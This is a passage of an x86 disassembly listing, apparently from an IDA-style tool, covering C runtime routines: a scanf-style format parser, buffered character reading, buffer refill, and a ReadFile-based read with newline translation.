		inc	[ebp+var_4]
		call	sub_41DEF3
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_41D9C3
; ---------------------------------------------------------------------------

loc_41D9F4:				; CODE XREF: sub_41D497+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_41D9FE
		mov	[ebp+var_16], 1

loc_41D9FE:				; CODE XREF: sub_41D497+561j
		mov	edi, offset dword_43AE08

loc_41DA03:				; CODE XREF: sub_41D497+45Cj
					; sub_41D497+4CEj
		or	[ebp+var_18], 0FFh

loc_41DA07:				; CODE XREF: sub_41D497+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_417030
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41DA2B
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_41DA2B
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_41DA2E
; ---------------------------------------------------------------------------

loc_41DA2B:				; CODE XREF: sub_41D497+584j
					; sub_41D497+589j
		mov	dl, [ebp+var_35]

loc_41DA2E:				; CODE XREF: sub_41D497+592j
					; sub_41D497+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_41DA93
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_41DA7A
		test	dl, dl
		jz	short loc_41DA7A
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_41DA7A
		inc	edi
		cmp	dl, cl
		jnb	short loc_41DA4D
		mov	al, cl
		jmp	short loc_41DA51
; ---------------------------------------------------------------------------

loc_41DA4D:				; CODE XREF: sub_41D497+5B0j
		mov	al, dl
		mov	dl, cl

loc_41DA51:				; CODE XREF: sub_41D497+5B4j
		cmp	dl, al
		ja	short loc_41DA76
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi

loc_41DA5E:				; CODE XREF: sub_41D497+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_41DA5E

loc_41DA76:				; CODE XREF: sub_41D497+5BCj
		xor	dl, dl
		jmp	short loc_41DA2E
; ---------------------------------------------------------------------------

loc_41DA7A:				; CODE XREF: sub_41D497+5A0j
					; sub_41D497+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_41DA2E
; ---------------------------------------------------------------------------

loc_41DA93:				; CODE XREF: sub_41D497+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_41DE9D
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41DAA5
		mov	[ebp+arg_4], edi

loc_41DAA5:				; CODE XREF: sub_41D497+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_41DF0D
		pop	ecx
		pop	ecx

loc_41DABC:				; CODE XREF: sub_41D497+6BCj
					; sub_41D497+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_41DAD0
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_41DB6C

loc_41DAD0:				; CODE XREF: sub_41D497+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_41DEF3
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_41DB60
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_41DB60
		cmp	[ebp+var_E], 0
		jnz	short loc_41DB58
		cmp	[ebp+var_16], 0
		jz	short loc_41DB4D
		mov	ecx, off_438A80
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41DB2C
		inc	[ebp+var_4]
		push	edi
		call	sub_41DEF3
		pop	ecx
		mov	[ebp+var_37], al

loc_41DB2C:				; CODE XREF: sub_41D497+686j
		push	dword_438C8C
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_420BC4
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_41DB50
; ---------------------------------------------------------------------------

loc_41DB4D:				; CODE XREF: sub_41D497+673j
		mov	[esi], al
		inc	esi

loc_41DB50:				; CODE XREF: sub_41D497+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_41DABC
; ---------------------------------------------------------------------------

loc_41DB58:				; CODE XREF: sub_41D497+66Dj
		inc	[ebp+var_30]
		jmp	loc_41DABC
; ---------------------------------------------------------------------------

loc_41DB60:				; CODE XREF: sub_41D497+649j
					; sub_41D497+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41DF0D
		pop	ecx
		pop	ecx

loc_41DB6C:				; CODE XREF: sub_41D497+633j
		cmp	[ebp+var_30], esi
		jz	loc_41DE9D
		cmp	[ebp+var_E], 0
		jnz	loc_41DDFE
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_41DDFE
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41DB9E
		and	word ptr [eax],	0
		jmp	loc_41DDFE
; ---------------------------------------------------------------------------

loc_41DB9E:				; CODE XREF: sub_41D497+6FCj
		and	byte ptr [eax],	0
		jmp	loc_41DDFE
; ---------------------------------------------------------------------------

loc_41DBA6:				; CODE XREF: sub_41D497+466j
		mov	[ebp+var_D], 1

loc_41DBAA:				; CODE XREF: sub_41D497+203j
					; sub_41D497+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_41DBB8
		mov	[ebp+var_17], 1
		jmp	short loc_41DBBD
; ---------------------------------------------------------------------------

loc_41DBB8:				; CODE XREF: sub_41D497+719j
		cmp	ebx, 2Bh
		jnz	short loc_41DBDF

loc_41DBBD:				; CODE XREF: sub_41D497+71Fj
		dec	[ebp+var_C]
		jnz	short loc_41DBCE
		cmp	[ebp+var_20], 0
		jz	short loc_41DBCE
		mov	[ebp+var_F], 1
		jmp	short loc_41DBDF
; ---------------------------------------------------------------------------

loc_41DBCE:				; CODE XREF: sub_41D497+729j
					; sub_41D497+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41DEF3
		pop	ecx
		mov	ebx, eax

loc_41DBDC:				; CODE XREF: sub_41D497+543j
		mov	[ebp+var_14], ebx

loc_41DBDF:				; CODE XREF: sub_41D497+4FDj
					; sub_41D497+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_41DCF8
		cmp	[ebp+var_F], 0
		jnz	loc_41DCD6

loc_41DBF3:				; CODE XREF: sub_41D497+82Cj
		cmp	esi, 78h
		jnz	short loc_41DC47
		cmp	dword_438C8C, 1
		jle	short loc_41DC10
		push	80h
		push	ebx
		call	sub_41A342
		pop	ecx
		pop	ecx
		jmp	short loc_41DC1D
; ---------------------------------------------------------------------------

loc_41DC10:				; CODE XREF: sub_41D497+768j
		mov	eax, off_438A80
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_41DC1D:				; CODE XREF: sub_41D497+777j
		test	eax, eax
		jz	loc_41DCC8
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_420CC0
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_41DEBC
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DC9A
; ---------------------------------------------------------------------------

loc_41DC47:				; CODE XREF: sub_41D497+75Fj
		cmp	dword_438C8C, 1
		jle	short loc_41DC5C
		push	4
		push	ebx
		call	sub_41A342
		pop	ecx
		pop	ecx
		jmp	short loc_41DC67
; ---------------------------------------------------------------------------

loc_41DC5C:				; CODE XREF: sub_41D497+7B7j
		mov	eax, off_438A80
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41DC67:				; CODE XREF: sub_41D497+7C3j
		test	eax, eax
		jz	short loc_41DCC8
		cmp	esi, 6Fh
		jnz	short loc_41DC85
		cmp	ebx, 38h
		jge	short loc_41DCC8
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_420CC0
		jmp	short loc_41DC94
; ---------------------------------------------------------------------------

loc_41DC85:				; CODE XREF: sub_41D497+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_417460

loc_41DC94:				; CODE XREF: sub_41D497+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx

loc_41DC9A:				; CODE XREF: sub_41D497+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_41DCB2
		dec	[ebp+var_C]
		jz	short loc_41DCD6

loc_41DCB2:				; CODE XREF: sub_41D497+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41DEF3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41DBF3
; ---------------------------------------------------------------------------

loc_41DCC8:				; CODE XREF: sub_41D497+788j
					; sub_41D497+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41DF0D
		pop	ecx
		pop	ecx

loc_41DCD6:				; CODE XREF: sub_41D497+756j
					; sub_41D497+819j
		cmp	[ebp+var_17], 0
		jz	loc_41DDBC
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_41DDBC
; ---------------------------------------------------------------------------

loc_41DCF8:				; CODE XREF: sub_41D497+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_41DDB4

loc_41DD02:				; CODE XREF: sub_41D497+90Aj
		cmp	esi, 78h
		jz	short loc_41DD46
		cmp	esi, 70h
		jz	short loc_41DD46
		cmp	dword_438C8C, 1
		jle	short loc_41DD21
		push	4
		push	ebx
		call	sub_41A342
		pop	ecx
		pop	ecx
		jmp	short loc_41DD2C
; ---------------------------------------------------------------------------

loc_41DD21:				; CODE XREF: sub_41D497+87Cj
		mov	eax, off_438A80
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41DD2C:				; CODE XREF: sub_41D497+888j
		test	eax, eax
		jz	short loc_41DDA6
		cmp	esi, 6Fh
		jnz	short loc_41DD3F
		cmp	ebx, 38h
		jge	short loc_41DDA6
		shl	edi, 3
		jmp	short loc_41DD7E
; ---------------------------------------------------------------------------

loc_41DD3F:				; CODE XREF: sub_41D497+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_41DD7E
; ---------------------------------------------------------------------------

loc_41DD46:				; CODE XREF: sub_41D497+86Ej
					; sub_41D497+873j
		cmp	dword_438C8C, 1
		jle	short loc_41DD5E
		push	80h
		push	ebx
		call	sub_41A342
		pop	ecx
		pop	ecx
		jmp	short loc_41DD6B
; ---------------------------------------------------------------------------

loc_41DD5E:				; CODE XREF: sub_41D497+8B6j
		mov	eax, off_438A80
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_41DD6B:				; CODE XREF: sub_41D497+8C5j
		test	eax, eax
		jz	short loc_41DDA6
		push	ebx
		shl	edi, 4
		call	sub_41DEBC
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_41DD7E:				; CODE XREF: sub_41D497+8A6j
					; sub_41D497+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_41DD90
		dec	[ebp+var_C]
		jz	short loc_41DDB4

loc_41DD90:				; CODE XREF: sub_41D497+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41DEF3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41DD02
; ---------------------------------------------------------------------------

loc_41DDA6:				; CODE XREF: sub_41D497+897j
					; sub_41D497+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41DF0D
		pop	ecx
		pop	ecx

loc_41DDB4:				; CODE XREF: sub_41D497+865j
					; sub_41D497+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_41DDBC
		neg	edi

loc_41DDBC:				; CODE XREF: sub_41D497+843j
					; sub_41D497+85Cj ...
		cmp	esi, 46h
		jnz	short loc_41DDC5
		and	[ebp+var_1C], 0

loc_41DDC5:				; CODE XREF: sub_41D497+928j
		cmp	[ebp+var_1C], 0
		jz	loc_41DE9D
		cmp	[ebp+var_E], 0
		jnz	short loc_41DDFE
		inc	[ebp+var_34]

loc_41DDD8:				; CODE XREF: sub_41D497+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_41DDEE
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_41DDFE
; ---------------------------------------------------------------------------

loc_41DDEE:				; CODE XREF: sub_41D497+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41DDFB
		mov	[eax], edi
		jmp	short loc_41DDFE
; ---------------------------------------------------------------------------

loc_41DDFB:				; CODE XREF: sub_41D497+95Ej
		mov	[eax], di

loc_41DDFE:				; CODE XREF: sub_41D497+241j
					; sub_41D497+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_41DE4B
; ---------------------------------------------------------------------------

loc_41DE09:				; CODE XREF: sub_41D497+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_41DEF3
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_41DE78
		mov	ecx, off_438A80
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41DE4B
		inc	[ebp+var_4]
		push	edi
		call	sub_41DEF3
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_41DE86
		dec	[ebp+var_4]

loc_41DE4B:				; CODE XREF: sub_41D497+970j
					; sub_41D497+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41DE61
		cmp	byte ptr [esi],	25h
		jnz	short loc_41DEA3
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_41DEA3
		mov	esi, eax

loc_41DE61:				; CODE XREF: sub_41D497+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_41D4C1
		jmp	short loc_41DE9D
; ---------------------------------------------------------------------------

loc_41DE6D:				; CODE XREF: sub_41D497+1F4j
					; sub_41D497+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_41DE7D
; ---------------------------------------------------------------------------

loc_41DE78:				; CODE XREF: sub_41D497+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx

loc_41DE7D:				; CODE XREF: sub_41D497+9DFj
		call	sub_41DF0D
		pop	ecx
		pop	ecx
		jmp	short loc_41DE9D
; ---------------------------------------------------------------------------

loc_41DE86:				; CODE XREF: sub_41D497+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41DF0D
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41DF0D
		add	esp, 10h

loc_41DE9D:				; CODE XREF: sub_41D497+1Fj
					; sub_41D497+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41DEB4

loc_41DEA3:				; CODE XREF: sub_41D497+9BDj
					; sub_41D497+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_41DEB7
		cmp	[ebp+var_15], al
		jnz	short loc_41DEB7
		or	eax, 0FFFFFFFFh
		jmp	short loc_41DEB7
; ---------------------------------------------------------------------------

loc_41DEB4:				; CODE XREF: sub_41D497+A0Aj
		mov	eax, [ebp+var_34]

loc_41DEB7:				; CODE XREF: sub_41D497+A11j
					; sub_41D497+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D497	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DEBC	proc near		; CODE XREF: sub_41D497+7A3p
					; sub_41D497+8DCp

arg_0		= dword	ptr  4

		cmp	dword_438C8C, 1
		push	esi
		jle	short loc_41DED6
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41A342
		pop	ecx
		pop	ecx
		jmp	short loc_41DEE5
; ---------------------------------------------------------------------------

loc_41DED6:				; CODE XREF: sub_41DEBC+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_438A80
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41DEE5:				; CODE XREF: sub_41DEBC+18j
		test	eax, eax
		jnz	short loc_41DEEF
		and	esi, 0FFFFFFDFh
		sub	esi, 7

loc_41DEEF:				; CODE XREF: sub_41DEBC+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_41DEBC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DEF3	proc near		; CODE XREF: sub_41D497+1E1p
					; sub_41D497+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_41DF05
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------

loc_41DF05:				; CODE XREF: sub_41DEF3+7j
		push	edx
		call	sub_41DF48
		pop	ecx
		retn
sub_41DEF3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF0D	proc near		; CODE XREF: sub_41D497+6Bp
					; sub_41D497+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_41DF23
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_420CDF
		pop	ecx
		pop	ecx

locret_41DF23:				; CODE XREF: sub_41DF0D+5j
		retn
sub_41DF0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF24	proc near		; CODE XREF: sub_41D497+63p
					; sub_41D497+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi

loc_41DF2A:				; CODE XREF: sub_41DF24+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_41DEF3
		mov	edi, eax
		push	edi
		call	sub_420C8C
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41DF2A
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41DF24	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF48	proc near		; CODE XREF: sub_418786+A9p
					; sub_418D0C+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41E01C
		test	al, 40h
		jnz	loc_41E01C
		test	al, 2
		jz	short loc_41DF6E
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41E01C
; ---------------------------------------------------------------------------

loc_41DF6E:				; CODE XREF: sub_41DF48+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41DF82
		push	esi
		call	sub_41F704
		pop	ecx
		jmp	short loc_41DF87
; ---------------------------------------------------------------------------

loc_41DF82:				; CODE XREF: sub_41DF48+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax

loc_41DF87:				; CODE XREF: sub_41DF48+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41E021
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41E00B
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41E00B
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41DFE0
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41DFC9
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_48A7E0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41DFCE
; ---------------------------------------------------------------------------

loc_41DFC9:				; CODE XREF: sub_41DF48+6Bj
		mov	edi, offset dword_43B100

loc_41DFCE:				; CODE XREF: sub_41DF48+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41DFE0
		or	dh, 20h
		mov	[esi+0Ch], edx

loc_41DFE0:				; CODE XREF: sub_41DF48+62j
					; sub_41DF48+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41DFFD
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41DFFD
		test	ch, 4
		jnz	short loc_41DFFD
		mov	dword ptr [esi+18h], 1000h

loc_41DFFD:				; CODE XREF: sub_41DF48+9Fj
					; sub_41DF48+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41E00B:				; CODE XREF: sub_41DF48+55j
					; sub_41DF48+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0

loc_41E01C:				; CODE XREF: sub_41DF48+Aj
					; sub_41DF48+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41DF48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E021	proc near		; CODE XREF: sub_418786+90p
					; sub_41DF48+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_48A8E0
		jnb	loc_41E1FE
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:48A7E0h[eax*4]
		mov	eax, dword_48A7E0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41E1FE
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41E0D6
		test	dl, 2
		jnz	short loc_41E0D6
		test	dl, 48h
		jz	short loc_41E096
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41E096
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah

loc_41E096:				; CODE XREF: sub_41E021+56j
					; sub_41E021+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	dword_423074	; ReadFile
		test	eax, eax
		jnz	short loc_41E0E9
		call	dword_42308C	; RtlGetLastWin32Error
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41E0D1
		mov	dword_4894AC, 9
		mov	dword_4894B0, ecx
		jmp	loc_41E20F
; ---------------------------------------------------------------------------

loc_41E0D1:				; CODE XREF: sub_41E021+99j
		cmp	eax, 6Dh
		jnz	short loc_41E0DD

loc_41E0D6:				; CODE XREF: sub_41E021+4Cj
					; sub_41E021+51j
		xor	eax, eax
		jmp	loc_41E212
; ---------------------------------------------------------------------------

loc_41E0DD:				; CODE XREF: sub_41E021+B3j
		push	eax
		call	sub_41EC6F
		pop	ecx
		jmp	loc_41E20F
; ---------------------------------------------------------------------------

loc_41E0E9:				; CODE XREF: sub_41E021+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41E1F9
		test	edx, edx
		jz	short loc_41E10E
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41E10E
		or	al, 4
		jmp	short loc_41E110
; ---------------------------------------------------------------------------

loc_41E10E:				; CODE XREF: sub_41E021+E2j
					; sub_41E021+E7j
		and	al, 0FBh

loc_41E110:				; CODE XREF: sub_41E021+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41E1F3

loc_41E128:				; CODE XREF: sub_41E021+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41E1E3
		cmp	al, 0Dh
		jz	short loc_41E144
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41E1D5
; ---------------------------------------------------------------------------

loc_41E144:				; CODE XREF: sub_41E021+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41E162
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41E159
		add	[ebp+arg_8], 2
		jmp	short loc_41E1B7
; ---------------------------------------------------------------------------

loc_41E159:				; CODE XREF: sub_41E021+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41E1D5
; ---------------------------------------------------------------------------

loc_41E162:				; CODE XREF: sub_41E021+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_423074	; ReadFile
		test	eax, eax
		jnz	short loc_41E18A
		call	dword_42308C	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_41E1D1

loc_41E18A:				; CODE XREF: sub_41E021+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41E1D1
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41E1AC
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41E1B7
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41E1D5
; ---------------------------------------------------------------------------

loc_41E1AC:				; CODE XREF: sub_41E021+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41E1BC
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41E1BC

loc_41E1B7:				; CODE XREF: sub_41E021+136j
					; sub_41E021+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41E1D4
; ---------------------------------------------------------------------------

loc_41E1BC:				; CODE XREF: sub_41E021+18Ej
					; sub_41E021+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_41E217
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41E1D5

loc_41E1D1:				; CODE XREF: sub_41E021+167j
					; sub_41E021+16Dj
		mov	byte ptr [edi],	0Dh

loc_41E1D4:				; CODE XREF: sub_41E021+199j
		inc	edi

loc_41E1D5:				; CODE XREF: sub_41E021+11Ej
					; sub_41E021+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41E128
		jmp	short loc_41E1F3
; ---------------------------------------------------------------------------

loc_41E1E3:				; CODE XREF: sub_41E021+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41E1F3
		or	al, 2
		mov	[esi], al

loc_41E1F3:				; CODE XREF: sub_41E021+101j
					; sub_41E021+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi

loc_41E1F9:				; CODE XREF: sub_41E021+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41E212
; ---------------------------------------------------------------------------

loc_41E1FE:				; CODE XREF: sub_41E021+12j
					; sub_41E021+39j
		and	dword_4894B0, 0
		mov	dword_4894AC, 9

loc_41E20F:				; CODE XREF: sub_41E021+ABj
					; sub_41E021+C3j
		or	eax, 0FFFFFFFFh

loc_41E212:				; CODE XREF: sub_41E021+B7j
					; sub_41E021+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E021	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E217	proc near		; CODE XREF: sub_418A0E+67p
					; sub_419A23+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_48A8E0
		push	esi
		push	edi
		jnb	short loc_41E299
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:48A7E0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
